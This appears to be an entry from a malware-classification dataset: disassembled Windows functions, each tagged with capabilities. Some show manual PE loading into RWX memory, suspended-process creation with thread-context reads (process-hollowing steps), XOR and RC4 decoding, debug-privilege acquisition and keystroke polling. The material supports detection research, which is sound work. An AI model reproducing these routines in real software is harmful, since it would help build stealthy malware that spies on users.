joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100010d0
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
cmp ecx, 0x40
jae 0x100010df
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x100010db
push esi
mov esi, dword [eax + 0x3c]
lea edx, [esi + 0xf8]
cmp ecx, edx
jl 0x10001255
add esi, eax
cmp dword [esi], 0x4550
jne 0x10001255
mov edx, 0x2000
test word [esi + 0x16], dx
jne 0x10001255
mov edx, 0xe0
cmp word [esi + 0x14], dx
jne 0x10001255
push ebx
lea ebx, [esi + 0xf8]
push ebx
push esi
push ecx
push eax
call fcn.10001020
mov ecx, dword [ebp + 0x1c]
add esp, 0x10
mov dword [ecx], eax
test eax, eax
jne 0x1000114a
pop ebx
pop esi
pop ebp
ret
push edi
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [ebp + 0x18]
mov dword [edi], eax
test eax, eax
je 0x1000124b
movzx ecx, word [esi + 6]
mov edx, dword [esi + 0x54]
test ecx, ecx
jle 0x1000118a
lea esi, [ebx + 0x14]
mov ebx, ecx
mov ecx, dword [esi]
test ecx, ecx
je 0x10001184
cmp ecx, edx
jae 0x10001184
mov edx, ecx
add esi, 0x28
dec ebx
jne 0x10001178
push edx
mov edx, dword [ebp + 8]
push edx
push eax
call fcn.10001900
mov eax, dword [edi]
add eax, dword [eax + 0x3c]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 0x14]
mov dword [ebx], eax
add eax, 0xf8
mov dword [edx], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 0x38]
mov edx, dword [eax + 0x54]
push ecx
push edx
call fcn.10001000
mov esi, eax
add esi, dword [edi]
xor edi, edi
mov dword [0x1000ab80], edi
mov eax, dword [ebx]
xor ecx, ecx
add esp, 0x14
cmp cx, word [eax + 6]
jae 0x1000124b
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
lea edx, [edi + edi*4]
lea eax, [ecx + edx*8]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x100011ea
mov edx, dword [ebp + 0x18]
mov esi, dword [edx]
add esi, ecx
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x10001226
mov eax, dword [eax + 0x14]
add eax, dword [ebp + 8]
push ecx
push eax
push esi
call fcn.10001900
mov edi, dword [0x1000ab80]
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
lea ecx, [edi + edi*4]
lea eax, [eax + ecx*8]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax + 8]
add esp, 0xc
cmp eax, ecx
jae 0x10001229
mov edx, dword [ebx]
mov eax, dword [edx + 0x38]
push eax
push ecx
jmp 0x10001230
mov eax, dword [eax + 8]
mov ecx, dword [ebx]
mov edx, dword [ecx + 0x38]
push edx
push eax
call fcn.10001000
inc edi
mov dword [0x1000ab80], edi
mov ecx, dword [ebx]
movzx edx, word [ecx + 6]
add esp, 8
add esi, eax
cmp edi, edx
jl 0x100011d1
pop edi
pop ebx
mov eax, 1
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10001320
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push 0x44
lea eax, [ebp - 0x78]
push 0
push eax
call fcn.10001ca0
add esp, 0xc
xor eax, eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x78]
push edx
push eax
push eax
push 4
push eax
push eax
push eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
push eax
push 0
mov dword [ebp - 0x78], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 4], eax
test eax, eax
je 0x10001403
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetThreadContext
push 0x10007184
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10007174
push 0x10007184
mov ebx, eax
call esi
push eax
call edi
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov edi, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
mov esi, dword [ebp + 0xc]
mov dword [edi], ecx
mov ecx, dword [ebp + 0x18]
mov dword [eax], edx
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov dword [esi], 0x10007
mov eax, dword [eax]
push esi
push eax
call ebx
mov edx, dword [esi + 0xa4]
mov ebx, dword [ebp + 0x1c]
mov eax, dword [edi]
lea ecx, [ebp - 8]
push ecx
push 4
push ebx
add edx, 8
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebx]
mov edx, dword [edi]
push 0x1c
lea ecx, [ebp - 0x34]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
sub esi, dword [ebx]
mov eax, dword [ebp + 0x20]
pop edi
mov dword [eax], esi
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001740
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 0x10]
cdq
mov ecx, 0x46b
idiv ecx
push esi
mov esi, dword [ebp + 0xc]
lea ecx, [edx - 0x58]
test esi, esi
je 0x1000176e
mov eax, dword [ebp + 8]
lea ecx, [ecx]
mov dl, byte [eax]
xor dl, cl
add dl, cl
xor dl, cl
mov byte [eax], dl
inc eax
dec esi
jne 0x10001760
pop esi
pop ebp
ret

Function at 0x10001780
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
push 0
push 0x80
push 3
push 0
push 1
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100017ac
or eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.10001d83
push esi
mov edi, eax
push 0
push edi
call fcn.10001ca0
add esp, 0x10
push 0
lea ecx, [ebp - 4]
push ecx
push esi
push edi
push ebx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xd3
push esi
push edi
call fcn.10001740
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
push esi
push edi
call fcn.100016b0
push edi
mov esi, eax
call fcn.10001d29
add esp, 0x20
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001830
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x21c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
lea esi, [ebp - 0x21c]
lea edi, [ebp - 0x320]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x41
lea esi, [ebp - 0x21c]
lea edi, [ebp - 0x118]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x118]
push 0x5c
push ecx
call fcn.10001c70
mov byte [eax], 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x118]
push eax
mov ecx, eax
push str._s_s
push ecx
mov dword [ebp - 0x14], 0x52706455
mov dword [ebp - 0x10], 0x746f7065
mov dword [ebp - 0xc], 0x6c6d782e
mov byte [ebp - 8], 0
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0x320]
push ecx
call fcn.10001780
add esp, 0x24
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10001d1a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001d24
repz ret
jmp fcn.1000224d
Function at 0x100053d2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10002723
and dword [ebp - 0x14], 0
cmp dword [0x1000b82c], 0
mov dword [ebp - 0x18], eax
jne 0x10005485
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000552d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000552d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000b82c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000b830], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000b834], eax
call edi
push eax
call esi
mov dword [0x1000b83c], eax
test eax, eax
je 0x10005485
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000b838], eax
mov eax, dword [0x1000b838]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x100054de
cmp dword [0x1000b83c], ecx
je 0x100054de
push eax
call esi
push dword [0x1000b83c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x100054de
test ebx, ebx
je 0x100054de
call edi
test eax, eax
je 0x100054d5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x100054d5
test byte [ebp - 8], 1
jne 0x100054de
or dword [ebp + 0x10], 0x200000
jmp 0x10005511
mov eax, dword [0x1000b830]
cmp eax, dword [ebp - 0x18]
je 0x10005511
push eax
call esi
test eax, eax
je 0x10005511
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10005511
mov eax, dword [0x1000b834]
cmp eax, dword [ebp - 0x18]
je 0x10005511
push eax
call esi
test eax, eax
je 0x10005511
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000b82c]
call esi
test eax, eax
je 0x1000552d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000552f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001d1a
leave
ret
Function at 0x404340
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.00406164
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.00406164
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 8], 0
jne 0x4043bc
mov eax, dword [0x4af7e0]
mov dword [ebp + 8], eax
mov dword [ebp - 0x18], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
mov eax, 0xd
call fcn.00406170
cmp dword [ebp - 0x18], esp
je 0x4043e8
push 6
call fcn.0040616a
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], esp
lea eax, [ebp - 8]
push eax
push 0xf01ff
push dword [ebp - 4]
mov eax, 0x1b
call fcn.00406170
cmp dword [ebp - 0x18], esp
je 0x404416
push 6
call fcn.0040616a
add esp, 4
mov dword [ebp - 0x18], esp
push dword [ebp - 0xc]
push str.SeDebugPrivilege
push 0
mov eax, 0x1c
call fcn.00406170
cmp dword [ebp - 0x18], esp
je 0x404442
push 6
call fcn.0040616a
add esp, 4
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov dword [ebp - 0x18], esp
push 0
push 0
push 0
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
mov eax, 0x1d
call fcn.00406170
cmp dword [ebp - 0x18], esp
je 0x4044d1
push 6
call fcn.0040616a
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 4]
mov eax, 6
call fcn.00406170
cmp dword [ebp - 0x18], esp
je 0x4044f6
push 6
call fcn.0040616a
add esp, 4
mov eax, dword [ebp - 0x14]
jmp 0x4044fe
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.00406158
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.00406158
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x411110
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x480c8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004730d9
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x411192
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00470930
mov eax, dword [eax]
push 0x4a0230
push eax
call fcn.00462a34
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00473364
test bl, bl
je 0x411192
push 0x4a0230
lea ecx, [esp + 0xc]
call fcn.00473740
push 0x4a3db4
lea ecx, [esp + 0xc]
call fcn.00473740
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4111ce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00473364
jmp 0x411299
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x411252
lea edx, [esp + 0x7c]
push 0x4a3db0
push edx
call fcn.00462a34
add esp, 8
test eax, eax
je 0x411252
lea eax, [esp + 0x7c]
push 0x4a3dac
push eax
call fcn.00462a34
add esp, 8
test eax, eax
je 0x411252
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4111e2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00473364
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4124f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x412552
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x412560
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x480deb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4ab068]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x412698
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4125c6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00473364
xor eax, eax
jmp 0x41270f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004734ed
push esi
lea ecx, [esp + 0xc]
call fcn.0047377c
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4a3dec
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4126ed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.004124f0
test eax, eax
jne 0x4126ed
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.004124f0
test eax, eax
jne 0x4126ed
lea eax, [esp + 0x14]
push 0x4a3dc8
push eax
call fcn.00463be0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4126cc
lea ecx, [esp + 0x14]
push 0x4a3dc4
push ecx
call fcn.00463b60
mov esi, eax
add esp, 8
test esi, esi
jne 0x4126cc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4126cf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0047349d
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4125de
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00473364
xor eax, eax
jmp 0x41270f
mov byte [esi], 0
push 0x4a3dc0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00473364
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x424d10
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x424d7e
cmp si, 0x69
ja 0x424d7e
add esi, 0xffd0
cmp si, 0x11
je 0x424d4e
push 0x11
call edi
test ax, ax
jge 0x424d4e
or esi, 0x2000
cmp si, 0x10
je 0x424d63
push 0x10
call edi
test ax, ax
jge 0x424d63
or esi, 0x4000
cmp si, 0x12
je 0x424d78
push 0x12
call edi
test ax, ax
jge 0x424d78
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x424d8b
mov esi, 0xbd
jmp 0x424d3f
cmp si, 0x6e
jne 0x424d98
mov esi, 0xbe
jmp 0x424d3f
cmp si, 0x6f
jne 0x424d39
mov esi, 0xbf
jmp 0x424d3f

Function at 0x426540
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4bbf60]
xor edx, edx
cmp eax, edx
jne 0x426566
xor eax, eax
mov byte [eax + 0x4bbe60], al
inc eax
cmp eax, 0x100
jl 0x42654e
mov dword [0x4bbf60], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4bbe60
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4265f7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4265ca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x426598
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x426670
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4266c3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4266aa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42d100
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x42d298
cmp ebp, ebx
jle 0x42d298
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x42d15e
dec eax
or eax, 0xfffffff8
inc eax
je 0x42d165
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x42d174
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42d17b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004730a5
add esp, 4
cmp eax, ebx
je 0x42d19c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004730a5
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42d28e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x42d275
mov al, byte [edx]
cmp al, 0xc0
jbe 0x42d261
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x42d256
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x42d264
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x42d264
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x42d200
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x42d1f1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x430510
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4825a8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x430549
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0047aba8
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0047ac30
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004305d0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0047ac6d
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24